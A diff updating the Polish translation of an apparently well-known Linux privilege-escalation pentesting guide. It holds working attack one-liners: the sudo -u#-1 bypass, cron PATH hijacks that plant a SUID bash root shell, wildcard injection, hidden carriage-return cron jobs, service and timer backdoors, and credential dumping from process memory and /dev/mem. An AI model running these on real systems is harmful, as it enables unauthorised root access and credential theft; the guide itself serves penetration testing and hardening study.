diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index d97949b03..eef8ac0c7 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -2,50 +2,50 @@ {{#include ../../banners/hacktricks-training.md}} -## System Information +## Informacje o systemie -### OS info +### Informacje o OS -Zacznijmy zdobywać wiedzę o systemie operacyjnym, który działa +Zacznijmy zdobywać informacje o działającym OS ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Ścieżka +### Path -Jeśli **masz uprawnienia do zapisu w dowolnym folderze wewnątrz zmiennej `PATH`**, możesz być w stanie przejąć niektóre biblioteki lub binaria: +Jeżeli **masz uprawnienia do zapisu w dowolnym folderze znajdującym się w zmiennej `PATH`** możesz być w stanie przejąć niektóre biblioteki lub binaria: ```bash echo $PATH ``` -### Env info +### Informacje o środowisku -Interesujące informacje, hasła lub klucze API w zmiennych środowiskowych? +Czy w zmiennych środowiskowych znajdują się interesujące informacje, hasła lub klucze API? ```bash (env || set) 2>/dev/null ``` -### Eksploity jądra +### Kernel exploits -Sprawdź wersję jądra i czy istnieje jakiś eksploitat, który można wykorzystać do eskalacji uprawnień. +Sprawdź wersję kernela i czy istnieje exploit, którego można użyć do escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Możesz znaleźć dobrą listę podatnych jąder i kilka już **skompilowanych exploitów** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) oraz [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Inne strony, na których możesz znaleźć kilka **skompilowanych exploitów**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Możesz znaleźć dobrą listę podatnych wersji jądra oraz kilka już dostępnych **compiled exploits** tutaj: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) i [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Inne serwisy, gdzie można znaleźć kilka **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Aby wyodrębnić wszystkie podatne wersje jądra z tej strony, możesz zrobić: +Aby wyodrębnić wszystkie podatne wersje jądra z tej witryny możesz zrobić: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Narzędzia, które mogą pomóc w wyszukiwaniu exploitów jądra to: +Narzędzia, które mogą pomóc w wyszukiwaniu kernel exploits to: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (wykonaj W OFIERZE, sprawdza tylko exploity dla jądra 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Zawsze **wyszukuj wersję jądra w Google**, może twoja wersja jądra jest opisana w jakimś exploicie jądra, a wtedy będziesz pewien, że ten exploit jest ważny. +Zawsze **wyszukaj wersję kernel w Google**, być może Twoja wersja kernel jest wymieniona w jakimś kernel exploit i wtedy będziesz pewien, że exploit jest ważny. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Wersja Sudo +### Wersja sudo Na podstawie podatnych wersji sudo, które pojawiają się w: ```bash searchsploit sudo ``` -Możesz sprawdzić, czy wersja sudo jest podatna, używając tego grep. +Możesz sprawdzić, czy wersja sudo jest podatna, używając tego grepa. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Od @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg weryfikacja podpisu nie powiodła się +### Weryfikacja podpisu Dmesg nie powiodła się -Sprawdź **smasher2 box of HTB** dla **przykładu** jak ta luka może być wykorzystana +Sprawdź **smasher2 box of HTB** jako **przykład**, jak można wykorzystać tę vuln. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Wymień możliwe zabezpieczenia +## Wymień możliwe środki obronne ### AppArmor ```bash @@ -123,16 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Jeśli jesteś wewnątrz kontenera docker, możesz spróbować z niego uciec: +Jeśli znajdujesz się w docker container możesz spróbować się z niego wydostać: {{#ref}} docker-security/ {{#endref}} -## Drives +## Dyski -Sprawdź **co jest zamontowane i odmontowane**, gdzie i dlaczego. Jeśli coś jest odmontowane, możesz spróbować to zamontować i sprawdzić prywatne informacje. +Sprawdź **what is mounted and unmounted**, gdzie i dlaczego. Jeśli coś jest unmounted, możesz spróbować to mount i sprawdzić, czy znajdują się tam prywatne informacje ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +145,56 @@ Wymień przydatne binaria ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Sprawdź, czy **jakikolwiek kompilator jest zainstalowany**. Jest to przydatne, jeśli musisz użyć jakiegoś exploit'a jądra, ponieważ zaleca się skompilowanie go na maszynie, na której zamierzasz go używać (lub na podobnej). +Sprawdź również, czy **any compiler is installed**. Jest to przydatne, jeśli musisz użyć jakiegoś kernel exploit, ponieważ zaleca się skompilować go na maszynie, na której zamierzasz go użyć (lub na podobnej). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Zainstalowane oprogramowanie z lukami +### Zainstalowane podatne oprogramowanie -Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieje jakaś stara wersja Nagios (na przykład), która mogłaby być wykorzystana do eskalacji uprawnień…\ +Sprawdź **wersję zainstalowanych pakietów i usług**. Może istnieć jakaś stara wersja Nagios (na przykład), która mogłaby zostać wykorzystana do eskalacji uprawnień…\ Zaleca się ręczne sprawdzenie wersji bardziej podejrzanego zainstalowanego oprogramowania. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Jeśli masz dostęp SSH do maszyny, możesz również użyć **openVAS**, aby sprawdzić, czy na maszynie zainstalowane są przestarzałe i podatne na ataki oprogramowanie. +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _Zauważ, że te polecenia pokażą wiele informacji, które będą głównie bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy któraś z zainstalowanych wersji oprogramowania jest podatna na znane exploity._ +> [!NOTE] > _Zauważ, że te polecenia wyświetlą dużo informacji, które w większości będą bezużyteczne, dlatego zaleca się użycie aplikacji takich jak OpenVAS lub podobnych, które sprawdzą, czy którakolwiek z zainstalowanych wersji oprogramowania jest podatna na znane exploits_ -## Procesy +## Processes -Sprawdź **jakie procesy** są wykonywane i sprawdź, czy którykolwiek proces ma **więcej uprawnień niż powinien** (może tomcat uruchamiany przez root?) +Take a look at **jakie procesy** są uruchomione i sprawdź, czy któryś proces nie ma **więcej uprawnień niż powinien** (może tomcat uruchomiony przez root?) ```bash ps aux ps -ef top -n 1 ``` -Zawsze sprawdzaj, czy działają możliwe [**debuggery electron/cef/chromium**; możesz je wykorzystać do eskalacji uprawnień](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w wierszu poleceń procesu.\ -Również **sprawdź swoje uprawnienia do binariów procesów**, może uda ci się nadpisać kogoś. +Zawsze sprawdzaj, czy nie działają [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** wykrywa je, sprawdzając parametr `--inspect` w linii poleceń procesu.\ +Również **sprawdź swoje uprawnienia względem binarek procesów**, być może możesz nadpisać którąś z nich. -### Monitorowanie procesów +### Process monitoring -Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. Może to być bardzo przydatne do identyfikacji podatnych procesów, które są często uruchamiane lub gdy spełniony jest zestaw wymagań. +Możesz użyć narzędzi takich jak [**pspy**](https://github.com/DominicBreuker/pspy) do monitorowania procesów. To może być bardzo przydatne do identyfikowania podatnych procesów uruchamianych często lub gdy spełniony jest zestaw wymagań. -### Pamięć procesów +### Process memory -Niektóre usługi serwera zapisują **poświadczenia w postaci czystego tekstu w pamięci**.\ -Zazwyczaj będziesz potrzebować **uprawnień roota**, aby odczytać pamięć procesów, które należą do innych użytkowników, dlatego jest to zazwyczaj bardziej przydatne, gdy już jesteś rootem i chcesz odkryć więcej poświadczeń.\ -Jednak pamiętaj, że **jako zwykły użytkownik możesz odczytać pamięć procesów, które posiadasz**. +Niektóre usługi na serwerze zapisują **credentials in clear text inside the memory**.\ +Zazwyczaj będziesz potrzebować **root privileges**, aby odczytać pamięć procesów należących do innych użytkowników, dlatego jest to zwykle przydatniejsze, gdy jesteś już root i chcesz odnaleźć więcej credentials.\ +Jednak pamiętaj, że **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> Zauważ, że obecnie większość maszyn **domyślnie nie zezwala na ptrace**, co oznacza, że nie możesz zrzucić innych procesów, które należą do twojego nieuprzywilejowanego użytkownika. +> Zwróć uwagę, że obecnie większość maszyn domyślnie nie pozwala na ptrace, co oznacza, że nie możesz zrzucać pamięci innych procesów należących do nieuprzywilejowanego użytkownika. > -> Plik _**/proc/sys/kernel/yama/ptrace_scope**_ kontroluje dostępność ptrace: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, o ile mają ten sam uid. To klasyczny sposób, w jaki działało ptracing. -> - **kernel.yama.ptrace_scope = 1**: tylko proces nadrzędny może być debugowany. -> - **kernel.yama.ptrace_scope = 2**: Tylko administrator może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Żadne procesy nie mogą być śledzone za pomocą ptrace. Po ustawieniu, wymagany jest restart, aby ponownie włączyć ptracing. +> - **kernel.yama.ptrace_scope = 0**: wszystkie procesy mogą być debugowane, pod warunkiem że mają ten sam uid. To klasyczny sposób działania ptrace. +> - **kernel.yama.ptrace_scope = 1**: tylko proces rodzicielski może być debugowany. +> - **kernel.yama.ptrace_scope = 2**: Tylko admin może używać ptrace, ponieważ wymaga to uprawnienia CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: Żadne procesy nie mogą być śledzone przy użyciu ptrace. Po ustawieniu wymagane jest ponowne uruchomienie systemu, aby ponownie włączyć ptrace. #### GDB -Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać stertę i przeszukać jej poświadczenia. +Jeśli masz dostęp do pamięci usługi FTP (na przykład), możesz uzyskać Heap i przeszukać go pod kątem jej credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### Skrypt GDB +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Dla danego identyfikatora procesu, **maps pokazuje, jak pamięć jest mapowana w wirtualnej przestrzeni adresowej tego procesu**; pokazuje również **uprawnienia każdej mapowanej sekcji**. Pseudo plik **mem** **ujawnia pamięć procesów**. Z pliku **maps** wiemy, które **regiony pamięci są czytelne** i ich przesunięcia. Używamy tych informacji, aby **przeszukiwać plik mem i zrzucać wszystkie czytelne regiony** do pliku. +Dla danego identyfikatora procesu, **maps pokazuje, jak pamięć jest mapowana we wirtualnej przestrzeni adresowej tego procesu**; pokazuje także **uprawnienia każdego zmapowanego regionu**. Pseudoplik **mem** **udostępnia samą pamięć procesu**. Z pliku **maps** wiemy, które **regiony pamięci są czytelne** i ich offsety. Wykorzystujemy te informacje, aby wykonać seek w pliku **mem** i zrzucić wszystkie czytelne regiony do pliku. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` zapewnia dostęp do **fizycznej** pamięci systemu, a nie do pamięci wirtualnej. Wirtualna przestrzeń adresowa jądra może być dostępna za pomocą /dev/kmem.\ -Typowo, `/dev/mem` jest tylko do odczytu przez **root** i grupę **kmem**. +`/dev/mem` zapewnia dostęp do **pamięci fizycznej** systemu, a nie pamięci wirtualnej. Przestrzeń adresowa jądra można uzyskać przy użyciu /dev/kmem.\ +Zazwyczaj, `/dev/mem` jest czytelny tylko dla **root** i grupy **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump dla linux -ProcDump to linuxowa reinterpretacja klasycznego narzędzia ProcDump z zestawu narzędzi Sysinternals dla systemu Windows. Pobierz je w [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump to wersja dla linux klasycznego narzędzia ProcDump z pakietu Sysinternals dla Windows. Pobierz je z [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Narzędzia -Aby zrzucić pamięć procesu, możesz użyć: +Aby zrzucić pamięć procesu możesz użyć: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania dotyczące roota i zrzucić proces, który należy do Ciebie +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Możesz ręcznie usunąć wymagania root i zrzucić proces należący do Ciebie - Skrypt A.5 z [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (wymagany root) -### Poświadczenia z pamięci procesu +### Dane uwierzytelniające z pamięci procesu #### Przykład ręczny -Jeśli znajdziesz, że proces uwierzytelniający jest uruchomiony: +Jeśli znajdziesz, że proces authenticator jest uruchomiony: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby na zrzucenie pamięci procesu) i wyszukać poświadczenia wewnątrz pamięci: +Możesz zrzucić proces (zobacz wcześniejsze sekcje, aby znaleźć różne sposoby zrzucania pamięci procesu) i wyszukać poświadczenia w pamięci: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **kradnie hasła w postaci czystego tekstu z pamięci** oraz z niektórych **znanych plików**. Wymaga uprawnień roota, aby działać poprawnie. +Narzędzie [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) będzie **wykradać poświadczenia w postaci jawnego tekstu z pamięci** oraz z niektórych **znanych plików**. Wymaga uprawnień root, aby działać poprawnie. -| Funkcja | Nazwa procesu | +| Feature | Process Name | | ------------------------------------------------- | -------------------- | | Hasło GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Aktywne połączenia FTP) | vsftpd | -| Apache2 (Aktywne sesje HTTP Basic Auth) | apache2 | -| OpenSSH (Aktywne sesje SSH - użycie Sudo) | sshd: | +| VSFTPd (aktywne połączenia FTP) | vsftpd | +| Apache2 (aktywne sesje HTTP Basic Auth) | apache2 | +| OpenSSH (aktywne sesje SSH - użycie sudo) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Wzorce wyszukiwania/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,155 +314,155 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zaplanowane/zadania Cron +## Zaplanowane zadania/Cron jobs -Sprawdź, czy jakiekolwiek zaplanowane zadanie jest podatne. Może uda ci się skorzystać ze skryptu uruchamianego przez root (vuln z użyciem symboli wieloznacznych? można modyfikować pliki używane przez root? użyj symlinków? utwórz konkretne pliki w katalogu, który używa root?). +Sprawdź, czy któreś zaplanowane zadanie jest podatne. Być może możesz wykorzystać skrypt wykonywany przez root (wildcard vuln? można modyfikować pliki, których używa root? użyć symlinks? utworzyć konkretnie pliki w katalogu, którego używa root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Ścieżka Cron -Na przykład, w _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na przykład, w pliku _/etc/crontab_ możesz znaleźć PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Zauważ, że użytkownik "user" ma uprawnienia do zapisu w /home/user_) +(_Zwróć uwagę, że użytkownik "user" ma uprawnienia zapisu do /home/user_) -Jeśli w tym crontabie użytkownik root spróbuje wykonać jakieś polecenie lub skrypt bez ustawienia ścieżki. Na przykład: _\* \* \* \* root overwrite.sh_\ -Wtedy możesz uzyskać powłokę roota, używając: +Jeśli w tym crontabie użytkownik root spróbuje wykonać jakąś komendę lub skrypt bez ustawienia PATH. Na przykład: _\* \* \* \* root overwrite.sh_\ +Wtedy możesz uzyskać root shell używając: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron używając skryptu z dziką kartą (Wildcard Injection) +### Cron używający skryptu z wildcard (Wildcard Injection) -Jeśli skrypt wykonywany przez root zawiera “**\***” w poleceniu, możesz to wykorzystać do wykonania nieoczekiwanych rzeczy (jak privesc). Przykład: +Jeśli skrypt uruchamiany przez root ma “**\***” wewnątrz polecenia, możesz to wykorzystać do wykonania nieoczekiwanych rzeczy (np. privesc). Przykład: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Jeśli znak wieloznaczny jest poprzedzony ścieżką jak** _**/some/path/\***_ **, nie jest podatny (nawet** _**./\***_ **nie jest).** +**Jeśli wildcard jest poprzedzony ścieżką taką jak** _**/some/path/\***_ **, to nie jest podatny (nawet** _**./\***_ **nie jest).** -Przeczytaj następującą stronę, aby poznać więcej sztuczek związanych z wykorzystaniem znaków wieloznacznych: +Przeczytaj następującą stronę, aby uzyskać więcej trików dotyczących wildcard exploitation: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Nadpisywanie skryptu Cron i symlink +### Cron script nadpisywanie i symlink -Jeśli **możesz modyfikować skrypt cron** wykonywany przez roota, możesz bardzo łatwo uzyskać powłokę: +Jeśli **możesz zmodyfikować cron script** wykonywany przez root, możesz bardzo łatwo uzyskać shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Jeśli skrypt wykonywany przez root używa **katalogu, do którego masz pełny dostęp**, może być przydatne, aby usunąć ten folder i **utworzyć folder symlink do innego**, który obsługuje skrypt kontrolowany przez Ciebie. +Jeśli script uruchamiany przez root używa **katalogu, do którego masz pełny dostęp**, może być przydatne usunięcie tego katalogu i **utworzenie katalogu symlink wskazującego na inny**, który będzie serwował script kontrolowany przez ciebie. ```bash ln -d -s ``` -### Częste zadania cron +### Częste cron jobs -Możesz monitorować procesy, aby wyszukiwać procesy, które są wykonywane co 1, 2 lub 5 minut. Może uda ci się to wykorzystać i podnieść uprawnienia. +Możesz monitorować processes, aby wyszukać te, które są uruchamiane co 1, 2 lub 5 minut. Być może możesz to wykorzystać i escalate privileges. -Na przykład, aby **monitorować co 0,1s przez 1 minutę**, **posortować według mniej wykonywanych poleceń** i usunąć polecenia, które były wykonywane najczęściej, możesz zrobić: +Na przykład, aby **monitorować co 0.1s przez 1 minutę**, **sort by less executed commands** i usunąć commands, które zostały wykonane najczęściej, możesz zrobić: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Możesz również użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wyświetlać każdy proces, który się uruchamia). +**Możesz też użyć** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (to będzie monitorować i wypisywać każdy proces, który się uruchamia). -### Niewidoczne zadania cron +### Niewidoczne cron jobs -Możliwe jest utworzenie zadania cron **dodając znak powrotu karetki po komentarzu** (bez znaku nowej linii), a zadanie cron będzie działać. Przykład (zauważ znak powrotu karetki): +Można utworzyć cronjob **umieszczając znak CR (carriage return) po komentarzu** (bez znaku nowej linii), a cron job będzie działać. Przykład (zwróć uwagę na znak CR): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Usługi -### Zapisane pliki _.service_ +### Pliki _.service_ możliwe do zapisu -Sprawdź, czy możesz zapisać jakikolwiek plik `.service`, jeśli tak, **możesz go zmodyfikować**, aby **wykonywał** twoją **tylną furtkę, gdy** usługa jest **uruchamiana**, **ponownie uruchamiana** lub **zatrzymywana** (może będziesz musiał poczekać, aż maszyna zostanie ponownie uruchomiona).\ -Na przykład stwórz swoją tylną furtkę wewnątrz pliku .service z **`ExecStart=/tmp/script.sh`** +Sprawdź, czy możesz zapisać dowolny plik `.service`; jeśli tak, **możesz go zmodyfikować**, tak aby **uruchamiał** twój **backdoor gdy** usługa jest **uruchomiona**, **zrestartowana** lub **zatrzymana** (może być konieczne poczekanie na ponowne uruchomienie maszyny).\ +Na przykład umieść swój backdoor wewnątrz pliku .service używając **`ExecStart=/tmp/script.sh`** -### Zapisane binaria usług +### Pliki binarne usług z prawami zapisu -Pamiętaj, że jeśli masz **uprawnienia do zapisu w binariach wykonywanych przez usługi**, możesz je zmienić na tylne furtki, aby gdy usługi zostaną ponownie uruchomione, tylne furtki będą wykonywane. +Miej na uwadze, że jeśli masz **uprawnienia zapisu do binariów uruchamianych przez usługi**, możesz je zmienić, wstawiając backdoors, tak że gdy usługi zostaną ponownie uruchomione, backdoors zostaną wykonane. ### systemd PATH - Ścieżki względne -Możesz zobaczyć PATH używaną przez **systemd** za pomocą: +Możesz zobaczyć PATH używany przez **systemd** za pomocą: ```bash systemctl show-environment ``` -Jeśli odkryjesz, że możesz **zapisywać** w którymkolwiek z folderów ścieżki, możesz być w stanie **eskalować uprawnienia**. Musisz poszukać **ścieżek względnych używanych w plikach konfiguracji usług** takich jak: +Jeśli stwierdzisz, że możesz **zapisać** w którymkolwiek z katalogów w ścieżce, możesz być w stanie **escalate privileges**. Musisz szukać **ścieżek względnych używanych w plikach konfiguracyjnych usług**, takich jak: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Następnie stwórz **wykonywalny** plik o **tej samej nazwie co względna ścieżka binarna** w folderze systemd PATH, do którego masz prawo zapisu, a gdy usługa zostanie poproszona o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), twoja **tylnia furtka zostanie wykonana** (użytkownicy bez uprawnień zazwyczaj nie mogą uruchamiać/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). +Następnie utwórz **executable** o **same name as the relative path binary** w folderze systemd PATH, do którego możesz zapisać, a gdy serwis zostanie poproszony o wykonanie podatnej akcji (**Start**, **Stop**, **Reload**), Twój **backdoor will be executed** (użytkownicy bez uprawnień zwykle nie mogą startować/zatrzymywać usług, ale sprawdź, czy możesz użyć `sudo -l`). **Dowiedz się więcej o usługach za pomocą `man systemd.service`.** -## **Timery** +## **Timers** -**Timery** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki `**.service**` lub zdarzenia. **Timery** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń czasowych kalendarza i zdarzeń monotonicznych oraz mogą być uruchamiane asynchronicznie. +**Timers** to pliki jednostek systemd, których nazwa kończy się na `**.timer**`, które kontrolują pliki `**.service**` lub zdarzenia. **Timers** mogą być używane jako alternatywa dla cron, ponieważ mają wbudowane wsparcie dla zdarzeń opartych na czasie kalendarzowym oraz monotonicznym i mogą być uruchamiane asynchronicznie. -Możesz wylistować wszystkie timery za pomocą: +Możesz wyświetlić wszystkie timers za pomocą: ```bash systemctl list-timers --all ``` -### Writable timers +### Zapisywalne timery -Jeśli możesz modyfikować timer, możesz sprawić, że wykona on niektóre instancje systemd.unit (takie jak `.service` lub `.target`) +Jeśli możesz zmodyfikować timer, możesz sprawić, że uruchomi on niektóre istniejące jednostki systemd.unit (takie jak `.service` lub `.target`). ```bash Unit=backdoor.service ``` -W dokumentacji możesz przeczytać, czym jest jednostka: +W dokumentacji możesz przeczytać, czym jest Unit: -> Jednostka do aktywacji, gdy ten timer wygaśnie. Argument to nazwa jednostki, której przyrostek nie jest ".timer". Jeśli nie jest określona, ta wartość domyślnie odnosi się do usługi, która ma tę samą nazwę co jednostka timera, z wyjątkiem przyrostka. (Zobacz powyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, i nazwa jednostki timera były identyczne, z wyjątkiem przyrostka. +> Jednostka, którą należy aktywować, gdy ten timer wygaśnie. Argument to nazwa jednostki, której sufiks nie jest ".timer". Jeśli nie określono, ta wartość domyślnie wskazuje na service o tej samej nazwie co timer unit, z wyjątkiem sufiksu. (Zobacz wyżej.) Zaleca się, aby nazwa jednostki, która jest aktywowana, oraz nazwa timer unit były identyczne, z wyjątkiem sufiksu. -Dlatego, aby nadużyć tego uprawnienia, musisz: +Dlatego, aby nadużyć tego uprawnienia, musiałbyś: -- Znaleźć jakąś jednostkę systemd (taką jak `.service`), która **wykonuje zapisywalny plik binarny** -- Znaleźć jakąś jednostkę systemd, która **wykonuje względną ścieżkę** i masz **uprawnienia do zapisu** w **ścieżce systemd** (aby podszyć się pod ten plik wykonywalny) +- Znaleźć jakiś systemd unit (np. `.service`), który **uruchamia writable binary** +- Znaleźć jakiś systemd unit, który **uruchamia relative path** i nad którym masz **writable privileges** w **systemd PATH** (aby podszyć się pod ten executable) **Dowiedz się więcej o timerach za pomocą `man systemd.timer`.** -### **Włączanie timera** +### **Włączanie Timera** -Aby włączyć timer, potrzebujesz uprawnień roota i wykonać: +Aby włączyć timer potrzebujesz uprawnień root i uruchomić: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Zauważ, że **timer** jest **aktywowany** przez utworzenie symlink do niego w `/etc/systemd/system/.wants/.timer` +Zauważ, że **timer** jest **aktywowany** przez utworzenie dowiązania symbolicznego do niego w `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) umożliwiają **komunikację procesów** na tych samych lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są konfigurowane za pomocą plików `.socket`. +Unix Domain Sockets (UDS) umożliwiają **komunikację między procesami** na tych samych lub różnych maszynach w modelach klient-serwer. Wykorzystują standardowe pliki deskryptorów Unix do komunikacji między komputerami i są ustawiane za pomocą plików `.socket`. -Sockets można konfigurować za pomocą plików `.socket`. +Sockets można konfigurować przy użyciu plików `.socket`. -**Dowiedz się więcej o socketach za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: +**Dowiedz się więcej o sockets za pomocą `man systemd.socket`.** W tym pliku można skonfigurować kilka interesujących parametrów: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, 